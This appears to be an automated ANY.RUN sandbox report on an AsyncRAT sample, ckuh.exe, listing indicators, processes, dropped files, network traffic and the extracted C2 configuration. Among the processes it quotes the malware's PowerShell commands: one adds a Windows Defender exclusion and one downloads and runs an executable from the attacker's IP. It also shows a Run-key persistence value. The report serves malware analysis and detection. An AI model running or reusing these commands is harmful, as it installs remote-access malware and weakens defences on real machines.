| File name: | ckuh.exe |
| Full analysis: | https://app.any.run/tasks/49464d03-015f-4989-980a-5144a18a5a77 |
| Verdict: | Malicious activity |
| Threats: | AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions. |
| Analysis date: | April 27, 2025, 18:11:36 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32+ executable (GUI) x86-64, for MS Windows, 11 sections |
| MD5: | A2980062855E3FF75037425DFE2FA1FC |
| SHA1: | 8944685AF2705C10232E7D4FA771E6D79BF57F8D |
| SHA256: | 326F6F4666110D3946F684FA450FA2F5E207B6FCBC6A8170A5DF22C0FCC19385 |
| SSDEEP: | 49152:D+3qxROR8YyTpHDD/WQFQAdQX7DzMMz/+Y:DRROR8YyTpHDD/WQFQAdQX7Dz1 |
MALICIOUS
Adds path to the Windows Defender exclusion list
- ckuh.exe (PID: 3676)
Changes Windows Defender settings
- ckuh.exe (PID: 3676)
Changes the autorun value in the registry
- rbcoa.exe (PID: 8044)
ASYNCRAT has been detected (YARA)
- MSBuild.exe (PID: 8184)
ASYNCRAT has been detected (SURICATA)
- MSBuild.exe (PID: 8184)
Executing a file with an untrusted certificate
- rbcoa.exe (PID: 8044)
SUSPICIOUS
Starts process via Powershell
- powershell.exe (PID: 7244)
Reads security settings of Internet Explorer
- ckuh.exe (PID: 3676)
Found IP address in command line
- powershell.exe (PID: 7244)
Script adds exclusion path to Windows Defender
- ckuh.exe (PID: 3676)
Reads the date of Windows installation
- ckuh.exe (PID: 3676)
Starts POWERSHELL.EXE for commands execution
- ckuh.exe (PID: 3676)
Executable content was dropped or overwritten
- powershell.exe (PID: 7244)
- csc.exe (PID: 8092)
- rbcoa.exe (PID: 8044)
Downloads file from URI via Powershell
- powershell.exe (PID: 7244)
Connects to the server without a host name
- powershell.exe (PID: 7244)
Process requests binary or script from the Internet
- powershell.exe (PID: 7244)
Potential Corporate Privacy Violation
- powershell.exe (PID: 7244)
Uses WMIC.EXE to obtain computer system information
- MSBuild.exe (PID: 8184)
Contacting a server suspected of hosting an CnC
- MSBuild.exe (PID: 8184)
Connects to unusual port
- MSBuild.exe (PID: 8184)
Accesses domain name via WMI (SCRIPT)
- WMIC.exe (PID: 7216)
INFO
Process checks computer location settings
- ckuh.exe (PID: 3676)
Reads the computer name
- ckuh.exe (PID: 3676)
- rbcoa.exe (PID: 8044)
- MSBuild.exe (PID: 8184)
Checks supported languages
- ckuh.exe (PID: 3676)
- rbcoa.exe (PID: 8044)
- cvtres.exe (PID: 8152)
- MSBuild.exe (PID: 8184)
- csc.exe (PID: 8092)
Checks if a key exists in the options dictionary (POWERSHELL)
- powershell.exe (PID: 7204)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 7204)
Checks proxy server information
- powershell.exe (PID: 7244)
- slui.exe (PID: 6540)
Reads the machine GUID from the registry
- csc.exe (PID: 8092)
- rbcoa.exe (PID: 8044)
- MSBuild.exe (PID: 8184)
Create files in a temporary directory
- cvtres.exe (PID: 8152)
- rbcoa.exe (PID: 8044)
- csc.exe (PID: 8092)
Reads security settings of Internet Explorer
- WMIC.exe (PID: 7216)
Reads the software policy settings
- slui.exe (PID: 7540)
- slui.exe (PID: 6540)
- MSBuild.exe (PID: 8184)
Disables trace logs
- powershell.exe (PID: 7244)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
AsyncRat
(PID) Process(8184) MSBuild.exe
C2 (1)185.39.17.70
Ports (1)8848
VersionLoaderPanel
Options
AutoRunfalse
Mutexmjcdqgbpklgt
InstallFolder%AppData%
Certificates
Cert1MIICMDCCAZmgAwIBAgIVAJHz+ah5/J2brULSjvSUc0iQ1oaHMA0GCSqGSIb3DQEBDQUAMGQxFTATBgNVBAMMDExvYWRlciBQYW5lbDETMBEGA1UECwwKcXdxZGFuY2h1bjEcMBoGA1UECgwTRGNSYXQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTI0MDYyMzE5MDc1MFoXDTM1MDQwMjE5MDc1MFowEDEOMAwGA1UEAwwFRGNSYXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0A...
Server_SignatureVYU3HkjTdmupf8sfvY5pEMO0/8noyMVeV0yz5jxGMUhWzUuupOWgq2wL5V2r42twsETUKLnqV9SYwqvT6XJv7xhz5pB/85fT0UoCReOgAHpFJ0so+WbBDfbpB/UzVXGoln8h2vH909hWHbCwL3+SAvPMWJx9IwIPkoMEs8mh4eg=
Keys
AESf74c3494998cde01f6f929d1ad131e3139264e2d9b70a7f185170bd2fbcbd120
SaltLoaderPanel
TRiD
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
EXIF
EXE
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2025:04:26 20:53:47+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 14.38 |
| CodeSize: | 989696 |
| InitializedDataSize: | 289280 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x31a2 |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
Total processes
148
Monitored processes
15
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 3676 | "C:\Users\admin\AppData\Local\Temp\ckuh.exe" | C:\Users\admin\AppData\Local\Temp\ckuh.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 6044 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | WMIC.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6540 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7204 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | ckuh.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7212 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7216 | "wmic" computersystem get domain | C:\Windows\SysWOW64\wbem\WMIC.exe | — | MSBuild.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: WMI Commandline Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7244 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri 'http://185.39.17.70/zgrnf/njg.exe' -OutFile 'C:\Windows\Temp\rbcoa.exe'; Start-Process 'C:\Windows\Temp\rbcoa.exe'" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | ckuh.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7264 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7504 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Exit code: 0 Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7540 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | SppExtComObj.Exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
15 846
Read events
15 845
Write events
1
Delete events
0
Modification events
| (PID) Process: | (8044) rbcoa.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | Shell |
Value: explorer.exe C:\Windows\Temp\xPiglS2\exp.exe | |||
Executable files
3
Suspicious files
3
Text files
7
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 8092 | csc.exe | C:\Users\admin\AppData\Local\Temp\CSCA0F3015C8B4E42CDB43A1BC734DE76F6.TMP | binary | |
MD5:2E3D22B9CED39779E8956D73F6C3E9DF | SHA256:042632100292E1CD14080AFFFF7C8F8CE8E8561F559A8F0A7AF00103F7D08BC7 | |||
| 7244 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_bjwzblfo.ggr.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7204 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zx2wmra0.h15.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7244 | powershell.exe | C:\Windows\Temp\rbcoa.exe | executable | |
MD5:DB25FD7F325F5EA6CD5C0EE5F8AF8D22 | SHA256:59D5DF6B32EE3F1A30281FCA62BC6FD7CECA2F561442495BA4A03A7CBEB227CD | |||
| 7204 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_uypvjpf4.cxd.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 8044 | rbcoa.exe | C:\Users\admin\AppData\Local\Temp\yr0tnx14.0.cs | text | |
MD5:58B10EF6BA0DA88788F1AAC56CE7E2DB | SHA256:AE11144F426028E50E77D64A66AEB954E169F627F8ABFE403791032594834520 | |||
| 8152 | cvtres.exe | C:\Users\admin\AppData\Local\Temp\RESDDB0.tmp | binary | |
MD5:F88ABD63CE504DE7D9037FB5F50AAD0D | SHA256:B5F117089E8B1AF23A1739F41DCEB3DCE7D6D360B1AAC1A38B1A4999C15B2660 | |||
| 8044 | rbcoa.exe | C:\Windows\Temp\xPiglS2\exp.exe | executable | |
MD5:DB25FD7F325F5EA6CD5C0EE5F8AF8D22 | SHA256:59D5DF6B32EE3F1A30281FCA62BC6FD7CECA2F561442495BA4A03A7CBEB227CD | |||
| 7244 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_o0y2i50k.fpu.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7204 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:ADFAC75E036298B7B17B2EF9D5959675 | SHA256:6A9937809ADFEB26504A82B820EAE0FE1792D6AEB1BA0D4371116246A795AF4B | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
25
DNS requests
17
Threats
10
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
6544 | svchost.exe | GET | 200 | 23.54.109.203:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
— | — | GET | 200 | 184.24.77.4:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6872 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
6872 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
7244 | powershell.exe | GET | 200 | 185.39.17.70:80 | http://185.39.17.70/zgrnf/njg.exe | unknown | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 184.24.77.4:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
— | — | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
7244 | powershell.exe | 185.39.17.70:80 | — | Joint Stock Company Tagnet | RU | malicious |
3216 | svchost.exe | 172.211.123.249:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
6544 | svchost.exe | 20.190.160.64:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 23.54.109.203:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
2104 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
7244 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Download from dotted-quad Host |
7244 | powershell.exe | Potential Corporate Privacy Violation | ET INFO PE EXE or DLL Windows file download HTTP |
7244 | powershell.exe | Potentially Bad Traffic | ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile |
7244 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
7244 | powershell.exe | Misc activity | ET INFO Request for EXE via Powershell |
7244 | powershell.exe | Misc Attack | ET DROP Spamhaus DROP Listed Traffic Inbound group 31 |
7244 | powershell.exe | Potentially Bad Traffic | ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response |
7244 | powershell.exe | Misc activity | ET INFO Packed Executable Download |
8184 | MSBuild.exe | Domain Observed Used for C2 Detected | REMOTE [ANY.RUN] AsyncRAT SSL certificate |
8184 | MSBuild.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] AsyncRAT Successful Connection |